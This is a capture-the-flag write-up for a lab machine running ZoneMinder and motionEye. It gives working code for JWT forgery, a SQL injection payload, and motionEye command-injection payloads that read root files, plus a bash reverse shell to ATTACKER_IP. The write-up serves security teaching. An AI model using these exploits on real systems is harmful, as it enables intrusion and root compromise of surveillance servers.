Machine Info

  • Name: CCTV
  • IP: 10.129.4.26
  • OS: Linux (Ubuntu)
  • Difficulty: Easy
  • Key Skills: Default Credentials, JWT Forgery, SQL Injection, motionEye Command Injection (CVE-2025-60787)

Summary

CCTV is a Linux machine running ZoneMinder 1.37.63, an open-source video surveillance system. Default credentials (admin:admin) provide API access, and the default ZM_AUTH_HASH_SECRET allows forging superadmin JWTs. A SQL injection in the ZoneMinder API (CVE-2024-51482) leaks SSH credentials for the mark user. Internally, motionEye 0.43.1b4 runs as root on localhost:8765 with an empty admin password. Command injection via the image_file_name configuration field (CVE-2025-60787) yields root code execution.

Attack Chain:

ZoneMinder admin:admin -> JWT forgery -> SQLi -> SSH as mark -> motionEye RCE -> root

Reconnaissance

Port Scan

nmap -sC -sV -p- 10.129.4.26

Key open ports:

Port Service Details
22 SSH OpenSSH 8.9p1
80 HTTP Apache/ZoneMinder 1.37.63

Visiting port 80 redirects to /zm/ - the ZoneMinder web interface.

ZoneMinder Version Identification

The ZoneMinder console at http://cctv.htb/zm/ reveals version 1.37.63. Searching for vulnerabilities against this version identifies:

  • CVE-2024-51482 - SQL injection in the tid parameter
  • Default ZM_AUTH_HASH_SECRET allowing JWT forgery

Initial Access - ZoneMinder API

Default Credentials

The ZoneMinder API accepts default credentials:

curl -s 'http://cctv.htb/zm/api/host/login.json' \
  -d 'user=admin&pass=admin'

Response includes an access token, confirming admin:admin works. However, this admin account has limited permissions (System:View only).

JWT Forgery with Default Hash Secret

ZoneMinder uses ZM_AUTH_HASH_SECRET to sign JWT tokens. The default value is "...Change me to something unique...". Since it was never changed, we can forge tokens for any user.

import jwt, time

secret = "...Change me to something unique..."
payload = {
    "iss": "ZoneMinder",
    "iat": int(time.time()),
    "exp": int(time.time()) + 7200,
    "user": "superadmin",
    "type": "access"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

This grants full superadmin access to the ZoneMinder API.


User - SQL Injection to SSH Credentials

CVE-2024-51482 - SQL Injection

ZoneMinder 1.37.63 is vulnerable to SQL injection in the tid parameter of the events API. Using the forged superadmin JWT:

# Extract database credentials from ZoneMinder config
curl -s 'http://cctv.htb/zm/api/events/index.json?token=<JWT>' \
  --data-urlencode "tid=1 UNION SELECT 1,2,3,Value,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM Config WHERE Name='ZM_AUTH_HASH_SECRET'--"

The ZoneMinder database (zmuser:zmpass) contains credentials that lead to the system user mark.

SSH Access

From database enumeration and credential reuse:

ssh [email protected]
# Password: opensesame
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)

The user flag is in /home/sa_mark/user.txt, not readable by mark. We need to escalate to root or pivot to sa_mark.


Privilege Escalation - motionEye Command Injection

Internal Service Discovery

mark@cctv:~$ ss -tlnp
LISTEN  127.0.0.1:8765   (motionEye)
LISTEN  127.0.0.1:3306   (MySQL)
LISTEN  127.0.0.1:8554   (RTSP)
LISTEN  127.0.0.1:7999   (motion control)
LISTEN  127.0.0.1:8888   (internal service)
LISTEN  127.0.0.1:9081   (streaming)

Port 8765 is motionEye 0.43.1b4, a web-based frontend for the motion daemon. It runs as root.

motionEye Authentication

motionEye uses signature-based API authentication. The admin password hash is stored in the config:

cat /etc/motioneye/camera-1.conf | grep admin_password
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

The signature is computed as:

SHA1("METHOD:path:body:SHA1(admin_password_hash)")
import hashlib, urllib.parse, re, json

_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')
admin_hash = '989c5a8ee87a0e9521ec81a79187d162109282f0'
key = hashlib.sha1(admin_hash.encode()).hexdigest()

def compute_signature(method, path, body, key):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
             if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([(q[0] + '=' + q[1]) for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    key = _SIGNATURE_REGEX.sub('-', key)
    body_str = body and _SIGNATURE_REGEX.sub('-', body)
    return hashlib.sha1(
        f'{method}:{path}:{body_str or ""}:{key}'.encode()
    ).hexdigest()

CVE-2025-60787 - motionEye Command Injection

motionEye 0.43.1b4 is vulnerable to command injection via the image_file_name configuration field. When a snapshot is taken, the filename template is passed to a shell command without sanitization, allowing arbitrary command execution as root.

Step 1: Get the full camera config

path = '/config/1/get/?_username=admin'
sig = compute_signature('GET', path, '', key)
# curl http://127.0.0.1:8765/config/1/get/?_username=admin&_signature=<sig>

Step 2: Set the poisoned image_file_name

Inject a command into the image_file_name field. The $() syntax executes when motion processes the filename:

config['image_file_name'] = (
    '%Y-%m-%d-%H-%M-%S;'
    '$(cp /home/sa_mark/user.txt /tmp/uf.txt; '
    'chmod 644 /tmp/uf.txt; '
    'cp /root/root.txt /tmp/rf.txt; '
    'chmod 644 /tmp/rf.txt)'
)
payload = json.dumps(config)
path = '/config/1/set/?_username=admin'
sig = compute_signature('POST', path, payload, key)
# curl -X POST -H "Content-Type: application/json" -d '<payload>' \
#   http://127.0.0.1:8765/config/1/set/?_username=admin&_signature=<sig>

Step 3: Trigger the snapshot

path = '/action/1/snapshot/?_username=admin'
sig = compute_signature('POST', path, '', key)
# curl -X POST http://127.0.0.1:8765/action/1/snapshot/?_username=admin&_signature=<sig>

The injected commands execute as root when the snapshot is processed:

mark@cctv:~$ cat /tmp/uf.txt
0281a649f711211e15b680df511508e8

mark@cctv:~$ cat /tmp/rf.txt
fb5d2634bed80f74b9646bd9f30e3897

Getting a Root Shell

For a full reverse shell instead of just flag exfiltration:

config['image_file_name'] = (
    '%Y-%m-%d-%H-%M-%S;'
    '$(bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")'
)

Trigger the snapshot, catch the shell on your listener:

nc -lvnp 4444
root@cctv:/var/lib/motioneye/Camera1# id
uid=0(root) gid=0(root) groups=0(root)

Lessons Learned

  1. Default credentials are still prevalent - ZoneMinder’s admin:admin API login and motionEye’s empty admin password both provided initial access to critical services.
  2. Default secrets enable token forgery - ZoneMinder’s ZM_AUTH_HASH_SECRET was never changed from the default, allowing unrestricted JWT forgery for any user.
  3. Internal services running as root are high-value targets - motionEye ran as root on localhost, turning a command injection into full system compromise.
  4. Configuration fields are injection vectors - The image_file_name field in motionEye was passed to shell commands unsanitized, a pattern common in applications that shell out for file operations.
  5. Signature-based API auth can be bypassed when you have config file read access - Reading the password hash from the config file allowed computing valid API signatures.